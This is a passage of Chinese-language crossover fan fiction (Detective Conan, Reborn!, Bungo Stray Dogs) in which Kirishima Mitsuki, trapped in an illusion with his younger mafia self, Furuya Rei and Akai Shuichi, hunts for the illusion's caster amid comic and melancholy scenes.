不过由于看上去太像正常人,降谷零反而有些怀疑他和自己认识的雾岛光希到底是不是同一个人。 但这也不妨碍他阴阳怪气某个同行。 “你又在这里干什么。”降谷零直起身,语气里全然没了那副哄小孩的语调,看向一旁同样失去易容的赤井秀一道,“fbi在日本里还真是来去自如啊。” 尽管不太听得懂降谷零在说什么,但小雾岛听懂了fbi这个词。 他那双灰色的眼睛瞪大,原本还带了些稚气的脸上立即浮现出警觉的情绪,赤井秀一看到他左手捏着书包带子,后退几步,右手往后伸,似乎是想拿什么东西。 赤井秀一笑了下。 “在这里开枪可不好。”他用了英语道。 总算听到了熟悉一些的语言,小雾岛的动作停下,疑惑地看着对方:“你认识我?” 看到他幼年的样子,赤井秀一总算想起来自己觉得雾岛光希的声音耳熟的原因。 碰到这孩子的时候,赤井秀一才二十二岁,现在都三十二了。 “狙击手要保护好眼睛。”赤井秀一说,“如果连敌人都发现不了,那任务成功的概率就是fiftyfifty了,不是吗。” 小雾岛陷入了彻底的震惊中,他似乎记起了面前这个人是谁,因此也没了拔枪的念头,反倒是降谷零皱着眉,说了句“你和小孩子说什么狙击”。 “他可不是普通的小孩。”赤井秀一又用回了日语,“我刚加入fbi的时候,曾经在任务里打掉他的枪。两年后,他在我开车时狙掉了我的后视镜,把这句话还给了我。” “你在说什么鬼话。”降谷零不相信,“雾岛他怎么可能是——” “我会报仇雪恨的。”小雾岛板着脸,打断了降谷零的话,对着赤井秀一宣布道,“等我长大了,你就死定了。” 自爆身份的小雾岛僵硬了一下,这才意识到,早上叮他的蚊子似乎是夏马尔的真话蚊。 喔,遭了。 赤井秀一耸肩,看向旁边沉默的降谷零。 降谷零没办法,只能切换英语问他:“为什么要说杀人的话?” 小雾岛上下打量着他,不明白那微妙的熟悉感来自哪里:“因为我是黑手党。” 哥哥说黑手党受到欺负,就要加倍奉还回去。 降谷零:“哪有这么小的黑手党的。” 小雾岛从他的话里感到了瞧不起人的成分,于是格外认真地:“可是我爸爸是黑手党,妈妈也是黑手党,大家都是黑手党,那我岂不是出生就是黑手党了?” 降谷零:“是你自愿要成为黑手党的吗?” 小雾岛:“什么叫自愿?” 降谷零:“你觉得做黑手党这件事的意义是什么呢?” 这个问题把十三岁的小朋友难倒了。 “不知道。”得了真话buff的雾岛光希嘴硬,但因为现在撒不了谎,因此只能把话说了出来,“但当黑手党的话,哥哥就会夸我。” 降谷零看着他,又沉默了一会。 “你哥哥是怎样的人?”降谷零问。 提到喜欢的话题,小雾岛的脸上的警惕稍微放缓了些:“是很厉害的人,最强的黑手党!” 降谷零挑眉:“真的是最强的?” “我觉得哥哥是最强的,哥哥就是最强的。” 降谷零被他逗笑了,要不是旁边赤井秀一在场,真有点想把这人现在的样子拍下来给松田看。 “那光希。”他说,“不算你哥哥会夸你,你最想做什么?” 小雾岛皱眉,总算反应过来有可以不说假话就回答问题的方法:“我干嘛告诉你。” “不是告诉我。”降谷零很耐心地对他说道,“你不能因为想让别人喜欢你就去做一件事。” 小雾岛又瞄了眼旁边的赤井秀一。然而赤井秀一一低头,他就自动藏在了降谷零的脚边。 现在逃跑的话,就没有反击的机会了。 十三岁的雾岛光希拽了拽降谷零的衣角,降谷零一低下身,就听到他说:“不准告诉旁边那个阴沉长发男,告诉他的话我也杀了你。” 降谷零:“你的愿望有这么丢人吗?” 雾岛光希:“我想保护喜欢的人。哥哥说这是弱者才会有的愿望。” “你喜欢的人是谁?” “哥哥,莱妮,帕比……” “那又是谁?” “加百罗涅养的小狗,还有小狗的朋友蝴蝶。” 他怎么给蝴蝶都取了名字。 “但莱妮死了,帕比也死了。”他有些苦恼地说,“加百罗涅的家伙好丢人,莱妮死的时候我也好想哭,可加百罗涅哭得太厉害了,我只能安慰他。我其实讨厌别人哭,因为那样我就不能哭了,不过他们哭的样子好可怜,哥哥也不许我觉得别人可怜,他说觉得别人可怜是会受到欺负的,而且妈妈听到这样的话会变得很生气。” 降谷零从他零碎的话里拼凑出了真相。 这个看上去跟橱窗里的洋娃娃一样,本应被爱着长大的孩子说:“可是没人欺负我。” ——只有妈妈欺负我。 降谷零摸了摸他的脑袋。 小雾岛对这个动作很陌生,因为在此之前,只有斯库瓦罗摸过他的脑袋。 他抬起头,看向眼前这个莫名熟悉的人。 降谷零代替斯库瓦罗说了他想要听的话:“想保护喜欢的人的愿望并不丢人。你做得很好。” 十三岁的雾岛光希被感动了半分钟。 “谢谢你,日本人。”他点头,说话间原本的柔弱荡然无存,“但这个世界充满险恶,FBI第一课,不要轻易相信小孩的话。” 十三岁的雾岛光希扣下扳机。 砰—— 子弹没如愿地取走降谷零的性命。 雾岛光希被他认为的“FBI”降谷零制裁了。 第47章 关于找人这件事,雾岛光希和Reborn达成了共识。 他帮Reborn训练年轻的彭格列成员们,每个人输给他一次,就要帮他找人一天。 雾岛光希贴心地说:“让你们一只手。” 狱寺隼人就瞬间进入狂躁状态,大喊:“谁要你让了!抢夺十代目手机的可恶家伙,我要把你炸到天上!” 沢田纲吉发出制止的声音:“不要啊,狱寺君——” 然后狱寺隼人就被雾岛光希掀翻了。 雾岛光希有点沉迷这个游戏,毕竟他认识的真正的狱寺隼人可不好打败,那家伙在十年后已经彻底改掉了一听到沢田纲吉的名字就方寸大乱的毛病,很少再真的发脾气,那种一见到沢田纲吉就自动切换崇拜表情的笑容也变少了。 Reborn:“是怎样的英国人?” 雾岛光希:“我只知道五六年前他长什么样,况且说不定他用了能力改变了他自己的样貌。” 雾岛光希说到这里,又补充一句:“说不定和Reborn先生您一样,变成了小婴儿,可以放在小推车里。” Reborn帽子上的蜥蜴爬到他的手上,接着变成了绿色的铁锤。 Reborn:“三途川的水很凉啊,光希。” 沢田纲吉倒下了。 雾岛光希也挨了一锤。 雾岛光希没躲,他知道躲了的下场会很惨,因此只是知错地颔首,说了句:“抱歉,其实我没有拿您身高开玩笑的意思。” 沢田纲吉费了好大的劲才从地上爬起来,他的额头淤青:“又关我什么事啊!Reborn!” Reborn:“作为家族的首领要调和成员间的关系。” 雾岛光希跟着又挨了一锤。 Reborn:“你道歉的话也像在嘲讽我。” 沢田纲吉:“不要把雾岛先生也拉进黑手党游戏里!还有!都说了我不会当那什么首领的!” 雾岛光希:“知道了,我从现在开始注意我的言辞。” 沢田纲吉:【……话说回来,雾岛先生为什么那么听小婴儿的话】 什么小婴儿。 雾岛光希用质疑的目光看向此时还不知道Reborn真实身份的沢田纲吉。 站在你面前的可是十九岁就当上世界第一,不知道怎么就被劝说加入了彭格列,最高战绩光用子弹一夜之间就灭了一个家族,教出了两任首领,世界最强的七人之一,彩虹的婴儿,身长40cm的—— 雾岛光希光荣地挨了第三锤。 Reborn:“光希,你是不是不长记性。” 雾岛光希安静地捡起剑和十四岁的山本武对练,为了防止Reborn再给他第四锤,现在心如止水,连想也不想了。 脑袋好痛,视野是黑的,好像被锤瞎了。 沢田纲吉:【……】 沢田纲吉沉痛:【雾岛先生,真的不反抗吗】 雾岛光希否决了这个提议。他一不是来和Reborn分个高下的,二Reborn在他找人方面给他提供了很多便利。当然,主要还是真打起来雾岛光希事后得躺好几天,说不定今年都要与床为伴了。 那不好。 “这是什么?”被雾岛光希打飞了手里的剑,山本武看着自己发麻的手腕,有些好奇地问道。 雾岛光希:“鲛冲击。” 山本武:“这个时期的光希也会吗?” 他会,但还处在要把你们的指环夺走的时期,是不会教你的,死心吧。 秉着多一事不如少一事的原则,雾岛光希回了句“不知道”。 山本武捡起被打飞的剑,并不气恼:“这个时期的光希有什么爱好?” 雾岛光希:没有爱好。 雾岛光希:“打赢了就告诉你。” 山本武:“那喜欢吃的东西呢?” 再一次把鲛冲击用在了山本武身上,雾岛光希发现对方的剑被打飞的速度变慢了点。 “……”雾岛光希疑惑地看他,想起十年后的山本武说要给自己带寿司的事,“你问我这些干什么。” 山本武微笑:“光希同学说明天约我去郊外野餐,我想给他留个好印象。” 好不容易爬起来的狱寺隼人:【棒球白痴,该不会真以为阿莱西奥要和他交朋友吧】 雾岛光希思索着,模糊地记起自己十年前似乎的确干过屡次三番把山本武约到郊外的事。然而山本武的运气很好,自己的运气很差,不是莫名其妙被出现的野猪撞到脚,导致山本把自己背回去,就是莫名其妙地被从天而降的陨石碎片烧到头发,山本用水壶里的水帮他扑灭,又熟练地生火帮他烘干衣服,雾岛光希就在帐篷里探出一个脑袋。 “……”雾岛光希同情地看了眼十四岁的山本武。 这家伙是怎么从天然变成切开黑的。十年前的他不是要和你当好朋友,是想杀你啊。 山本武:“您怎么不说话?” 雾岛光希心情复杂,这次的回答倒是没有撒谎:“话说得太多,有点困。”- 因为要把自己的异能作为打败沢田纲吉的杀手锏,十三岁的雾岛光希暂时还不想把自己的能力暴露在两个可疑的FBI面前。虽然其中金发的那家伙三令五申不许叫他FBI,但十三岁的小雾岛不相信,总觉得他身上有FBI的气质。 而二十三岁的雾岛光希,在花了一天的时间,在连石头缝里都找了一遍后,终于确信那所谓的施术者是用了能力伪装了原本的样貌。 有什么把对方引出来的方法呢? 总不能把并盛町所有可疑的人都揍一遍吧? “你是不是在戏弄我。”同样帮他找了一天的人,狱寺隼人的脸上还带着白天的雾岛光希过肩摔的伤痕。 少年板着脸时五官沉闷,眉眼充满了攻击性,仿佛下一秒就要在超市里和雾岛光希动手。 雾岛光希忙着想办法出去,没有回答他的话。 大约过了半分钟,狱寺隼人又臭着脸说:“喂,阿莱西奥,十年后的我和你关系很差吗?” 【他怎么连老姐的问题都回答,换成我就惜字如金了?】 雾岛光希这才将注意力分散到脸上贴了ok绷的狱寺隼人身上。十四岁的狱寺隼人穿着校服,从刚才起,就陆陆续续的有并盛中同样穿着校服的女生偷偷看他,雾岛光希还听到了她们互相打气去找“狱寺同学”搭话的交流。 “没捉弄你。”雾岛光希言简意赅地答道,“而且都说了我不是因为十年后火箭筒才来的,这对我来说是个——” “幻境。”狱寺隼人面不改色地接上他的话,双手不羁地插在口袋,“也是,阿莱西奥才没你脾气那么差。” 雾岛光希发现这个bug很久了。 在这个绝对【幸福】的幻境里,十三岁的自己似乎没经历过[ghost]的事件。 “我知道了。”雾岛光希顿悟,“我教你个超越山本,第一个抓到那躲起来的家伙的方法要不要?” 狱寺隼人不要。 雾岛光希容不得他不要。 拿到“剧本”的狱寺隼人面色阴沉,把台词往桌上一拍,这回是真的生了气:“我怎么可能对他说这种话!” 叛徒。 你把十代目弄去哪了? 狱寺隼人拒绝按照雾岛光希的剧本对十三岁的雾岛光希演戏,并开始怀疑面前的雾岛光希才是敌人假扮的。 “倘若这个世界是按照我的[理想]创造的,那只要令十三岁的我再次感到不幸,那施术者就不得不出现在我面前了。” 雾岛光希的方法简单粗暴,理性和冷血都发挥到了极致,令狱寺隼人头顶青筋,压抑着怒火和他说了一句: “要说幻境,你对我来说才是幻境的,你要是敢伤害阿莱西奥,我绝对不会放过你。” 远处一个银色的身影一闪而过。 雾岛光希看着他往家具区走,走到一半似乎是听到了狱寺的话,又原地倒退了回来。 跟在他背后的还有戴着帽子的降谷零。 四目相对,首先是降谷零对雾岛光希现在的装扮发出了质疑。 “雾岛。”他说,“你穿着收银员的衣服做什么。” “这里人流量大。”雾岛光希回答,“观察可疑人物的同时还能自力更生。” 降谷零:“……” 降谷零的目光扫过满脸怒火,尽管还只是个国中生,但发育明显比别人快些的狱寺隼人:【这就是小时候的光希说的哥哥?】 “外面的卡用不了。”雾岛光希说完,用怀疑的眼神看向降谷零,“你白吃白喝小孩的?” 降谷零微笑:“那你昨天的三餐是怎么解决的。” 雾岛光希:“白吃白喝小孩的。” 降谷零:“和我有什么差别吗?” 雾岛光希:“你要这么说的话……” 还是雾岛光希:“那其实也没有。” 真是卑鄙的大人们。 “所以到底是怎么回事?”趁着狱寺隼人发现远处的小雾岛,降谷零走过来,低声向雾岛光希问道,“我听说昨天有一群孩子满大街地找外国人,那就是把我们弄进来的罪魁祸首?” 雾岛光希以尽可能简短的语言向降谷零解释了前因后果。 他说话前也评估了会降谷零是不是假扮的,但雾岛光希着实想不通自己的[理想]里为什么会有降谷零出现,只能暂时把他定性为不小心被自己卷进来的倒霉蛋。 “你怎么知道施术者也会进入这个世界?”降谷零皱着眉问他。 “……之前也有人被卷进来过。” “他成功出去了?” “是我知道的唯一靠他自己醒来的一个。” “那怎么不让他过来。” “……”他的目的是抓到人带回港口黑手党,太宰要是过来,那个人岂不就不会出现了。 雾岛光希发现光源被降谷零遮挡,自己整个人都被他身子投下的阴影罩住,于是往旁边挪了两步。 他之所以不是特别急,也是因为根据太宰的情报,雾岛光希知道幻境里的时间流速和外面不一样。 太宰说他那时候在幻境里待了一个月,结果在雾岛光希眼里他只是睡了一天。 至于太宰所说的那个人给他制造出的理想世界,什么“不过大概也是因为不管我做什么光希都随便我,所以我知道那是假的”,以前雾岛光希听不懂这句话的含义,现在听懂了。 他和太宰的关系还有救么。 靠装傻的话,他回去还见人么。 “总之,你要是在这里真的感到幸福——”雾岛光希收拾着收银台的东西,头也不抬地说,“就算只是产生了一秒想要留下来的念头,那就真的没办法出去了。” 这个话题有些沉重。 但降谷零眯起眼,心里想的却是:【他脸红什么?】 “你脸红什么?”降谷零不会直接问出这个问题,处在夏马尔真话蚊的影响下的小雾岛却直接问出了口,“我长大以后竟然只是收银员吗?” 雾岛光希光是看了这个表情生动的孩子一眼,狱寺隼人脑海里的警报系统就立即拉响。少年肩膀的肌肉绷得紧紧的,生怕他如刚才所言,真的说出什么伤害对方的话。 狱寺隼人打不过他,目前来讲也算不过他,就算他真的说了什么,狱寺隼人能拿他怎么样? 脑子里冒出这个想法的下一秒,雾岛光希就发现自己最近真是越来越恶毒。 可假的就是假的,让他因为这种想法而动不了手,不就正中了敌人的下怀了吗? 雾岛光希张开嘴。 小雾岛:“就算当收银员,我也是最厉害的收银员。对吧,隼人?” 雾岛光希又闭上了嘴。 斟酌片刻,他问小雾岛:“你的正事还没做完,跟警察在一起做什么?” 小雾岛:“我想谋杀他,可惜没成功。” 雾岛光希:“所以你就把房子借给他住了?” 小雾岛:“我这是为了报仇雪恨做准备。” 雾岛光希:“其实你只是不好意思去沢田家蹭饭,想找个免费的做饭劳动力而已吧。” 小雾岛迅速瞥了狱寺隼人一眼,提高音调:“我(没)有!” ——他的确是想说没有的,可惜说不了假话的境地就是这么凄惨。本来昨天下午还盘算着要不要等降谷零睡着跑去隔壁楼上狙他一枪再嫁祸给另一个FBI,可晚餐意外地被辣咖喱征服了后,小雾岛决定让金色的FBI再多活一天。 雾岛光希低笑:“真幼稚。” 没有经历[ghost]的事,看起来就跟普通小孩差不多。 “你!”小雾岛还没来得及说什么,狱寺隼人反倒生气了,“别小瞧人!他才不幼稚,他可是很有心机的!” 小雾岛露出赞同的表情。 两个白痴。 雾岛光希眉头一挑,刚要说话,降谷零就打断他:“如果感到幸福就不能出去,雾岛,你现在看起来就很幸福。” 雾岛光希表演了笑容消失术。 他十分严肃地:“我要是再笑,你就对我开一枪。” 降谷零:“也不至于这样。” 雾岛光希:“我才不要和一群小孩子一直待在这里,认识的同龄人就你一个,出不去的话难道我们要一直在这里过二人世界吗?” 降谷零深吸一口气:“二人世界不是这么用的。” 两个人,待在一个世界。 这词不就是这个意思? 雾岛光希根本不质疑自己:“其实我也是会做家务的,你不用因为不想和我待在一起就否认这个词的意思。” 降谷零:“……” 降谷零面无表情:“你的意思是我的日语还不如你吗?” 【况且他会做什么家务,他根本就是因为自己的洁癖,所以没事就蹲在那里看灰尘会落在哪里,然后指挥暴怒的松田擦掉而已】 雾岛光希认为降谷零以后一定心脏不好。容易生气是得心脏病的危险因素,雾岛光希自从被Reborn锤了三锤看开以后,已经领悟了人生的哲学。 雾岛光希反问,决定顺着降谷零说:“那你是想和我过二人世界,还是不想和我过二人世界?” 狱寺隼人想把小雾岛拉走,但小雾岛在旁边看得津津有味,他拒绝离场,并捂住了狱寺的嘴巴,防止他妨碍自己看剧。 降谷零想象了0.1秒雾岛光希所谓的[二人世界]。 雾岛光希这人不太有救,也不是彻底没救。要跟他待在一起,除了防止他自己把自己作死以外,还要防止他出去真的做些犯罪活动。这也就算了,雾岛的厨艺简直是不敢恭维,偏偏雾岛光希自己还很喜欢做饭,所以降谷零一旦回家,哈罗就会立即跑到脚边,示意自己的食盆里有毒药。青年的银发被黑色的绳子随意地拢在一块,他坐在桌前,见降谷零摸摸哈罗的脑袋,随即撑着脸,即使做了错事还要无辜地问降谷零“它为什么不喜欢我”。 诸如此类…… 降谷零的喉头滚动,张开嘴,却连怎么发音都忘了。 “雾岛。”他的嗓音有些哑,“你还是闭嘴吧。” 第48章 雾岛光希住进了小雾岛的家。狱寺隼人对此抱有百分之百的反对意见,小雾岛却在听说雾岛光希一只手就掀翻了十四岁的狱寺隼人的事时后格外兴奋,不仅一点房租也不收,反而还对雾岛光希那些所谓打击他的话毫不介怀。 于是雾岛光希凝视着面前在日语书上学习日语的少年,思考了很久[他什么时候心态这么好了]的问题,直到公关官的声音在耳边浮现,听到那句[雾岛,是因为你对我来说是重要的同伴,所以我才会咨询你的意见],雾岛光希才意识到,小雾岛之所以心态好,是因为自己对他来说并不重要,所以他并不在乎自己说什么。 按照这个思路,狱寺隼人就算了,他竟然会在意沢田纲吉和山本武他们。 和自己的暗杀对象成为朋友,这简直是杀手界的顶级笑话。 狱寺隼人是第一个笑话。他是第二个笑话。 不愧是小时候的玩伴,连成为笑话都长江后浪推前浪的。 雾岛光希不敢笑,只能在心里默默用这种冷幽默缓解一点自己实在打击不到对方的焦虑。 值得一提的是,由于这个月第六次暗杀山本武失败,小雾岛已经完全不在乎本来想杀死的降谷零和赤井秀一了,他现在比起fbi更恨山本武,雾岛光希看着他兴致勃勃地出门,晚上一瘸一拐地被山本武扶回来,好心的山本说是他不知道为什么被跃龙门的鲤鱼狠狠撞了一下,倒霉地掉进了河里,又被不知道哪来的子弹打中脚踝,这才变成了现在的样子。 小雾岛把责任都归结于自己的体重太轻,所以连可恶的鱼都能撞到他。 他开始看大量的好莱坞型男大片,并执着于练出巨石强森那样的肌肉,雾岛光希沉默地看着他,隐约明白了自己之后审美形成的原因。 “要怎么样才能长得和你一样高?” 降谷零:“先把牛奶喝完。” “是不是平常有事没事就去打狙就能和你一样练出胸肌了?” 赤井秀一:“了解自己的暗杀对象也是提高成功率的关键。” 雾岛光希看着这两大一小三人组,怎么看怎么觉得这个世界的缩小版自己无可救药。他竟然在咨询警察怎么杀人,关键是小雾岛还真信了降谷零和赤井秀一的邪,每天认真地喝两瓶牛奶,躲在暗处跟踪山本武,用心记下对方的每一个行为习惯。 因此当几人放学相约吃饭时,小雾岛在众人面前脱口而出:“山本君喜欢一切牛奶制品。奶冻、牛奶沙冰——我猜他会点牛奶拌饭。” 被说中喜好的山本武明显怔了下,但他也没有多说什么,只是紧绷着的身体放松下来,笑容爽朗,身上确实有些连续被评为并盛中学最受欢迎的男生的魅力。 “一份牛奶拌饭。”他说。 雾岛光希听见震撼的狱寺隼人的心声:【阿莱西奥不会真看上这棒球白痴了吧?】 假的。 沢田纲吉同样震撼:【光希同学喜欢山本君?】 你的超直感呢,不要在关键时刻掉链子。 他们这么青春洋溢的,倒显得只是想完成任务的雾岛光希是个十恶不赦的坏蛋。 偏偏买完东西回到家后,降谷零还要内涵他:“欢迎回来,十恶不赦,其实我让你买的是葱,不是韭菜。” 雾岛光希:“白的加绿的,有什么不一样?” 赤井秀一:“韭菜炖牛肉吗,下次试试。” 雾岛光希:“FBI,我听出你在挖苦我了。” 赤井秀一组装狙击枪的动作停下,面不改色地看向他,心里想的是【他竟然能识别出来吗】,嘴上说的却是“你怎么会认为我会那么做”。 今天又被Reborn先生砸了六锤,再听不出来就命丧当场了。 “你们两个为什么一点也不紧张。”雾岛光希洗了手,把袖子卷起来帮忙时,有些不解地向赤井秀一和降谷零问道。 “你不是说时间就流速不同了吗。”降谷零不咸不淡地回道,“按照你的说法,外面也才过去一分钟。” “一分钟也是时间。” 雾岛光希说完这句话,降谷零和赤井秀一同时沉默了一会。 雾岛光希本人非常疑惑地看向他们,降谷零却问他觉不觉得手里的勺子少了什么。 雾岛光希低头一看,发现勺子少了勺子。金属的勺子不知道为什么一接触锅子里的液体就融化了,原本香喷喷的牛肉在雾岛光希的帮忙下,成为了“毒蝎子”碧洋琪那样的有毒料理。 降谷零看向赤井秀一:【我不是说了不要让他尝试了】 赤井秀一并不愿意承认自己的失误:【我只是想看看他究竟是怎么做到的】 两个人无声地,你一言我一语地吵了起来。 小雾岛嚼着“好朋友”山本送给他的寿司,在面无表情的雾岛光希面前:“你的好朋友好像还挺讨厌你的耶。” 暖黄色的灯光充斥了整个屋子,锅子里炖的液体咕噜咕噜的,风把桌子上的报纸吹了一夜,小雾岛扬起脑袋时,雾岛光希已经捏着他的脑袋,把他提了起来,嫌弃地扔进房间里。 赤井秀一听见他说:“我和他们才不是朋友。” 但空气里有血腥味,为了不让自己感到幸福,雾岛光希又划了他自己一刀。 降谷零猜测他大概是想到了诸伏景光。毕竟第一个发现雾岛光希在厨艺方面的“天赋”的是诸伏景光,青年那双蓝色的猫眼那时微微睁大,无奈地问被松田阵平吐槽了的雾岛光希,究竟是怎么做到的。 十六岁的雾岛光希回答了碧洋琪当年传授他这个厨艺时说的话。 ——带着想让人感到幸福的心情去做。 那时的诸伏景光一顿,过了两秒,轻声说了声“是吗”,随后用纱布包扎了雾岛光希手上被腐蚀的伤口。 【“光希,如果有能让你产生这种想法的人出现,我也很高兴。”】 幸福的时候。 不可以感到幸福的场合。 降谷零知道,雾岛光希又在撒谎。 和撒不了谎的小雾岛不同,他总是在撒谎- 雾岛光希被叫去了学校。 在现实的时候,他总是因为太宰被叫去学校。没想到到了幻境里,也逃不掉被作为普通人的老师骂不还口的命运。 雾岛光希用意大利语问臭着脸的小雾岛:“你和普通人打架做什么?” 小雾岛不屑一顾:“他们不反省下一打十打不过我,在这里怪罪我做什么。” 雾岛光希:“你在转移话题。” 小雾岛:“沢田纲吉是我的猎物,他们当着我的面把他关进器材室里,难道不是挑衅我的意思?” 雾岛光希:“那你趁机把沢田纲吉杀了?” 小雾岛怔住,这才意识到自己错过了和千载难逢的好机会。 雾岛光希叹了口气:“我现在知道斯库瓦罗为什么说你不适合当黑手党了。” “谁说的!”小雾岛立刻跳脚,“我只是错过了一次机会,还有第二次第三次机会的!” 雾岛光希:“我看到沢田纲吉在门口等你了,你把他约去器材室,我帮你把他杀了。” 小雾岛:“……” 雾岛光希挑眉:“怎么不说话。” “……” 小雾岛瞪他:“自己的事情自己做,我才不要你帮我!” 嘴硬的小鬼。和太宰一样。 小雾岛:“我讨厌你!” 小朋友怒气冲冲地跑走了。 老师不知道这两个人用外语交流了什么,见小雾岛夺门而出,本想再说点什么教训的话,却见雾岛光希转过脸来。 他的面容雪白,唇却沾了些红,这么居高临下地瞧着人,倒是有点像小说里索人性命的艳鬼。 和小雾岛不同,雾岛光希的日语十分流畅。 “知道了。”他说,“是我教育得不好,下次会让他做得干净点的。” 老师瞪大了眼:“你这是什么态度!别以为是外国人就无法无天了!雾岛同学如果不和他们道歉,我照样可以让他退学!” 雾岛光希丝毫没有被威胁到:“所以你不是因为那几个人做得干净,没让你发现他们一直欺负沢田纲吉的事,才不惩罚他们的?” 老师被气得心头一梗,他抓起手机,心声也气愤非常:【报警!我要报警!不知道尊师重道的自大家伙!反正警察也不知道前因后果,肯定是站在我这边的!】 一个键都还没按下,就被雾岛光希打晕了。 他拉开窗,刚想把人从五楼扔下,沢田纲吉却叫住了他。 “雾岛先生!” 少年站在门口,不知道听到了多少,看上去似乎是有点怕他,但一看到他手里昏迷的老师,还是鼓起了勇气。 “不,不要干这种恐怖的事啊。” 雾岛光希面色平静,反问他:“我就是当着你的面杀了他,你能拿我怎样?” 沢田纲吉愣住了。雾岛光希和小雾岛之间的反差太大,他答不上来。 他答不上来,Reborn会帮他。 死气弹没入额头,沢田纲吉那副温吞的表情消失殆尽,脑袋上窜出橙红色的火炎,凶神恶煞地:“抱着必死的决心阻止雾岛先生杀了上原老师——!!” 【抱着必死的决心】 【抱着必死的决心】 【抱着必死的决心】 【好可怕】 【打架好可怕】 【雾岛先生他——】 沢田纲吉额头的火炎熄灭时,全身上下只剩一条星星裤衩了。 他全身的肌肉酸痛,恢复意识的时候意识到自己腾在半空,反应了好一会,才注意到自己身上裹着的是雾岛光希的外套,而自己整被对方抱在怀里,不紧不慢地往家里走。 【雾岛先生他……】 沢田纲吉的脸又红了。 “对不起。”他说,“给您添麻烦了。” “没关系。”雾岛光希不以为意,“反正你也没有多重。” 雾岛光希想起了江户川柯南像谁。 怪不得他看到江户川柯南时会不由自主地被吸引目光,原来除了琴酒的因素外,还因为那孩子和十四岁的沢田纲吉有点像。 天真。不自量力。 偏偏很有勇气,完全不觉得他自己和敌人做朋友有什么问题。 不以为耻,反以为荣。 “不用和我道歉。”雾岛光希道,“有人和我说过,如果不觉得自己是自己的错,就不用为自己的行为道歉,也不用替别人道歉。” 沢田纲吉:【是那个送雾岛先生耳罩的朋友?】 空气安静了好一会,沢田纲吉又问:“十年后的我,是什么样的人?” 【体育不行,学习也不行,人缘更是不好】 【十年后的我真的还和光希同学有联系吗】 雾岛光希很难回答这个问题。他和沢田纲吉很久没见了,做不出客观又公正的回答。 “是个很细心的人。”雾岛光希只能这样道,“他以为让狱寺靠在车门边,自己不下车,我就发现不了他。但我以前干的可是暗杀,连这都发现不了,我就只好退休了。” 沢田纲吉的眼睛缓缓睁大,随后又有些不好意思地低下眼睛。 作为混血的沢田纲吉五官其实很好看,他的睫毛很长,只是平日里显得太过废柴,才没人会仔细打量他。 “是,是这样啊。”他说着,说完又意识到自己还被人抱着,“那什么,雾岛先生,我可以自己下来走。” 【而且这到底是什么情况啊!怎么看都很奇怪!】 雾岛光希看了眼沢田纲吉的脚:“死心吧,我是不会把我的鞋子也借给你的。” 【都说了不是因为这样啊!】 雾岛光希停下了脚步。不是因为沢田纲吉内心的吐槽,而是因为不远处的街灯下,十三岁的小雾岛蹲在那里,正掰碎了面包,喂一只小巧的灰色老鼠。 那大概是跟着他一起进入这个世界的。 雾岛光希没有阻止它,也没有暴露自己和沢田纲吉。 “你呢?”他灰色的眼睛低下,忽的向沢田纲吉问道,“你对十年前的我是什么印象?” 沢田纲吉没料到他会问自己这个问题。 【漂亮,纤细】 好肤浅。 【由于眼睛的颜色很浅,所以被火焰照到的时候,会变成漂亮的金色】 那也不用观察得这么仔细。 【善良,有耐心,意外得看到鬼片的时候有点胆小】 【会很多国家的语言,喜欢看书,小提琴拉得很好,骑马的样子也很帅气,不知道为什么,明明很强,却连小动物都会故意捉弄光希同学】 【光希同学真的保护了我很多很多次】 【所以光希同学如果真的喜欢山本——山本君不像我,是个很好的人,我会为他们感到高兴的】 这世界是个巨大的,你像他,他像你的月光局。 夜晚的街道很安静,只有蝉鸣在叫。 沢田纲吉笑起来:“光希同学是个很厉害的人。要是我也能成为像光希同学一样的人就好了。” 雾岛光希没什么表情。 他的伤口又开始渗血。 在这一刻,他无比清醒,如自残般地明白了当年的真相。 “哪里厉害了。”雾岛光希的嘴唇动了动,看着远处的少年警惕地站起来,将他新养的灰老鼠藏在了身后。 小雾岛是个有些坏心思的小孩。 雾岛光希却是个很糟糕的大人—— 作者有话说:*噩耗,国庆总共放六天,排了四天上班[心碎] 第49章 雾岛光希忽然不焦虑了。 他不焦虑了,降谷零反而焦虑了。 降谷零晨练回来的时候,雾岛光希正巧也结束锻炼。他最近的身体不太好,唇瓣张开一个小小的口子,呼吸有些喘,脸上沾着汗珠,见有人一动不动地盯着自己,稍微回头看了眼,发现是降谷零后就收回目光,继续旁若无人地干自己的事了。 “你今天不欺负小孩了?”降谷零问他。 雾岛光希:“你都叫我十恶不赦了。” 【他现在倒是有自觉了】 降谷零换了鞋子,走进客厅:“那孩子呢?” 雾岛光希:“从一个叫巴吉尔的人那里骗到了一盒只有一半的指环,现在正纠结着是把东西带回去给他哥哥,还是如答应巴吉尔的那样,把东西交给沢田纲吉。” 浴室传来水声。那是洗手池打开的声音,估计是降谷零在洗脸。 “巴吉尔又是谁?” “……你是职业病犯了,在套我的话吗?” 降谷零短促地笑了声。 “怎么会。”他说,“我们不是说好了吗,只要在这个世界里,就一起保持中立的立场。” 雾岛光希发出声含糊的鼻音:“我看这要不是我理想的世界,而是你理想的世界,你就不想出去了。” 降谷零:“我理想的世界是什么?” 雾岛光希:“犯罪分子灭绝,你们五个每天一起上班下班。” 水声停了。 降谷零从浴室里走出来的时候,金发的发尾有些湿,连带着那双蓝紫色的眼睛也沾了水汽,削弱了原本暗藏的锋锐。 “是吗。”降谷零勾起唇角,“我还以为你把以前的事都忘了,这不是还记得很清楚?” “害死诸伏君的人你有头绪吗?”雾岛光希的一句话,令降谷零的眼神变得危险起来。 【他怎么知道景光的事?】 “我没说hiro出事了。”降谷零探究道。 “我又不是没有感情的。”雾岛光希坐在被他打扫得一尘不染的地毯上,茶几上还摆着温度刚好的咖啡,“诸伏君是个好人,我替他感到惋惜。” 降谷零的唇角抿直,一言不发。 雾岛光希在这样有些针锋相对的氛围中听到他的心声。 【他也就只敢承认对已经不在的人的感情】 “我其实也很想再和松田一起去次水族馆。”雾岛光希想起了当时和松田阵平的约定,“只可惜松田现在看起来比较想在那里拷问我。” 降谷零在他身边坐下。 “雾岛。”降谷零道,“你又对自己做什么了?” 【突然这么坦诚,跟说遗言一样】 “没做什么。”雾岛光希注视着咖啡表面泛起的涟漪,按在地毯上的掌心传来柔软的触感,“我只是发现,人不说话是不行的,我正在学习好好说话这一过程。” 降谷零:“你刚入学的时候,我其实很讨厌你。” 雾岛光希:“说得你入学的时候,我不讨厌你一样。” 降谷零:“傲慢又自大,一点也不把规矩和法律放在眼里。” 雾岛光希:“明明是只要过了就行的考试,你是往满分去的。你一往满分去,教官就会拿你当例子教训我。” 